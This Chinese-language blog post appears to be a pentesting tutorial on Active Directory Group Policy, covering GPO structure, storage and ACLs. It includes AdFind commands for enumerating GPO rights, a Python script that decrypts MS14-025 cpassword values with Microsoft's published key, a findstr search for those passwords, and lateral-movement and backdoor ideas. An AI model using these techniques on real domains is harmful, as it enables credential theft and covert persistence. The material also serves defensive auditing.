广告网站策划方案,开发公司网签补充合同,中国企业网银,网站备案 seo关注公众号回复20231110获取最新网络安全以及内网渗透等资料。 组策略
组策略基本介绍
组策略可以对用户账户#xff0c;计算机账户进行集中化管理和配置#xff0c;组策略分为本地组策略和域的组策略#xff0c;本机组策略一般用于计算机管理员统一管理本机以及所有用户计算机账户进行集中化管理和配置组策略分为本地组策略和域的组策略本机组策略一般用于计算机管理员统一管理本机以及所有用户域内的组策略用于域管统一管理域内的所有计算机以及域用户。
打开组策略可以看到域林中有一条条的组策略。
可以看到Default Domain Policy、Default Domain Controller Policy 这两条组策略是默认的。 对于组策略我们一般关心两点。
这条组策略链接到哪里。
这条组策略的内容是啥。
以Default Domain Policy为例。
组策略链接
在右边的作用域里面我们可以看到他链接到relaysec.com整个域也就是说在relaysec.com域内的所有计算机用户都会受到这条组策略的影响。链接的位置可以是站点域以及OU(特别注意这里没有组只有OU至于为啥可以返回去看组和OU的区别)。 我们可以将Default Domain Policy这条组策略导出查看。 可以看到它设置了一些相关的内容比如说密码复杂性的要求以及ST服务票据的寿命等等。 如果我们想配置这条组策略我们可以在组策略的条目上右击编辑就会打开组策略的编辑器了。 如下图计算机配置和用户配置在配置底下又分策略以及首选项首先项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的强制实施的而组策略首选项则是不受管理的非强制性。
对于很多系统设置来说管理员既可以通过策略设置来实现也可以通过策略首选项来实现二者有相当一部分的重叠。
组策略更新
默认情况下客户端更新组策略的方式主要有
后台轮询查看sysvol 里面GPT.ini如果版本高于本地保存的组策略版本客户端将会更新本地的组策略。轮询的时间是默认情况下计算机组策略会在后台每隔 90 分钟更新一次并将时间作 0 到 30 分钟的随机调整。域控制器上的组策略会每隔 5 分钟更新一次。
计算机开机用户登录时查看sysvol 里面GPT.ini如果版本高于本地保存的组策略版本客户端将会更新本地的组策略。 客户端强制更新执行gupdate /force。
域控强制客户端更新执行 Invoke-GPUpdate -Computer TESTwin10 -Target User
如果域控制器强制客户端刷新组策略那么不会比较域共享目录中组策略的版本
组策略存储
每条组策略可以看做是存储在域级别的一个虚拟对象。我们叫做GPO每个GPO有唯一标志。用来标识每条组策略 那GPO 在域内的怎么存储的他分为两个部分。
GPC
GPT
GPC 位于LDAP中CNPolicies,CNSystem,BaseDn底下每个条目对应一个GPC。 其中包含GPO属性例如版本信息GPO状态和其他组件设置
GPC 里面的属性gPCFileSysPath链接到GPT里面。GPT 是是一个文件系统文件夹其中包含由.adm文件安全设置脚本文件以及有关可用于安装的应用程序的信息指定的策略数据。GPT位于域Policies子文件夹中的SysVol中。基本上组策略的配制信息都位于GPT里面。 以Default Domain Policy为例。他对应的GPC是CN{31B2F340-016D-11D2-945F-00C04FB984F9},CNPolicies,CNSystem,DCrelaysec,DCcom
displayName是Default Domain Policy。 通过gPCFileSysPath关联到GPT\relaysec.localsysvoltest.localPolicies{31B2F340-016D-11D2-945F-00C04FB984F9}这个文件夹。GPT里面包含了一些策略数据。 那在LDAP 是如何体现链接呢。
在域站点OU上面有个属性gPLink来标识链接到这里的组策略 举个例子安全部这个OU位于relaysec.local 这个域内 Default Domain Policy 这条组策略链接到 relaysec.com 这个域所以默认情况底下OU 会继承这条组策略也同时会作用于安全部这个OU如果我在财务这边选择组织继承就不会作用域财务这个OU在LDAP上下的体现就是财务这个OU的属性。
WMI筛选
在之前我们通过链接将组策略链接到站点工作组OU。然后作用于链接对象的计算机用户。但是如果有新的需求我要作用于部分计算机用户。比如说作用于所有WIN7 的电脑这个时候微软提供了另外一项技术叫WMI筛选。他复用了windows 本身的wmic 技术每一个建立的WMI筛选器都可以连接到不同的现有组策略对象一旦产生关联与应用之后只要组织单位中的目标计算机符合WMI筛选器所设置的条件那么这项组策略对象将会生效。
举个例子作用于所有大于Windows 8.1的电脑。
Select BuildNumber from Win32_OperatingSystem WHERE BuildNumber 9200组策略相关的ACL
创建GPO的权限
创建GPO的权限其实就是对CNPolicies,CNSystem,BaseDn具备CreateChild的权限。
我们可以用adfind 查询域内具备创建GPO的权限。
AdFind.exe -b CNPolicies,CNSystem,DCrelaysec,DCcom -sddl -s base -sdna -sddlfilter ;;CR CHILD;;;GPO链接的权限
之前我们说到在域站点OU上面有个属性gPLink来标识链接到这里的组策略。所以我们只要遍历所有的域站点OU 上面的所有ACE如果有对gPLink属性或者gPOpptions属性的修改权限就可以修改这个这个域/站点/OU链接的OU。这里使用adfind 来演示枚举。
遍历OU以adfind 以例
过滤规则是(objectCategoryorganizationalUnit)
AdFind.exe -b DCrelaysec,DCcom -f (objectCategoryorganizationalUnit) dn遍历所有的域站点OU 上面的所有ACE。这里遍历安全部这个OU
对gLink或者gPOpptions的WriteProperty权限
adfind -b OU安全部,DCtest,DClocal -sddl -s base -sdna -sddlfilter ;;;gPlink;;
adfind -b OU安全部,DCtest,DClocal -sddl -s base -sdna -sddlfilter ;;;gPOpptions;;修改现有的GPO的权限
修改现有GPO的权限。
我们主要关心两个
GPC 链接到GPT 的权限
修改GPT的权限
上面提到过GPC 与 GPT之间的关联是GPC有个属性gPCFileSysPath关联到GPT。 我们只需要查找对这个属性的WriteProperty就行。
AdFind.exe -b CNPolicies,CNSystem,DCrelaysec,DCcom nTSecurityDescriptor -sddl -s subtree -sdna -sddlfilter ;;;gPCFileSysPath;; -recmute修改GPT的权限由于GPT 是文件夹的形式并不在LDAP里面因此我们得使用一款能查看文件夹ACL的工具这里我使用系统自带的icacls。
icacls C:\windows\SYSVOL\sysvol\relaysec.com\Policies\*可以看到我在GPO这里设置了win7为完全控制权限并且更新组策略。 如上图可以看到win7对6AC1786…这条组策略的GPT具有完全控制权限前面我们又说到基本上组策略的配制信息都位于GPT里面。因为可以修改GPT就等同于可以随意修改组策略配置。
可以使用AdFind来查看这条组策略的名字。
AdFind.exe -b CN{6AC1786...},CNPolicies,CNSystem,DCrelaysec,DCcom -s base displayNameSYSVOL 漏洞(MS14-025)
在早期的版本某些组策略首选项可以存储加密过的密码加密方式为AES 256虽然目前AES 256很难被攻破但是微软选择公开了私钥:)。 我们在组策略上创建一个计划任务。 然后更新组策略。
可以看在在普通域机器上可以看到加密后的密码。 解密脚本:
import sys
from Crypto.Cipher import AES
from base64 import b64decode
from base64 import b64encode
key
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
.replace( ,).replace(\n,).decode(hex)
cpassword sys.argv[1]
cpassword * ((4 - len(sys.argv[1]) % 4) % 4)
password b64decode(cpassword)
iv \x00 * 16
o AES.new(key, AES.MODE_CBC, iv ).decrypt(password)
plaintext o[:-ord(o[-1])]
print(plaintext)在实际渗透我们可以通过以下命令来快速搜索
findstr /S cpassword \test.orgsysvol*.xml利用组策略扩展
在拿到域控之后有时候可能网络ACL 到达不了目标电脑可以通过组策略进行横向。下面列举几种横向的方法。
在“软件安装”下推出.msi 推出特定的启动脚本 计划任务
组策略后门的一些思路
后门的一些思路网上文章很多这里就不阐述了。
在我们之前组策略相关的ACL里面有提到三种特权
创建GPO的权限GPO链接OU的权限。修改现有的GPO的权限
除了在渗透中可以用于发现域内的安全隐患也可以用于留后门比如赋予某个用户创建GPO 以及链接到域的权限那么这个用户其实就等效于域管了。或者赋予某个用户拥有对某条GPO修改的权限比如拥有修改Default Domain Policy的权限那么这个用户就可以授予别的用户SeEnableDelegationPrivilege的权限这个后门相对比较灵活大家可以自己扩展。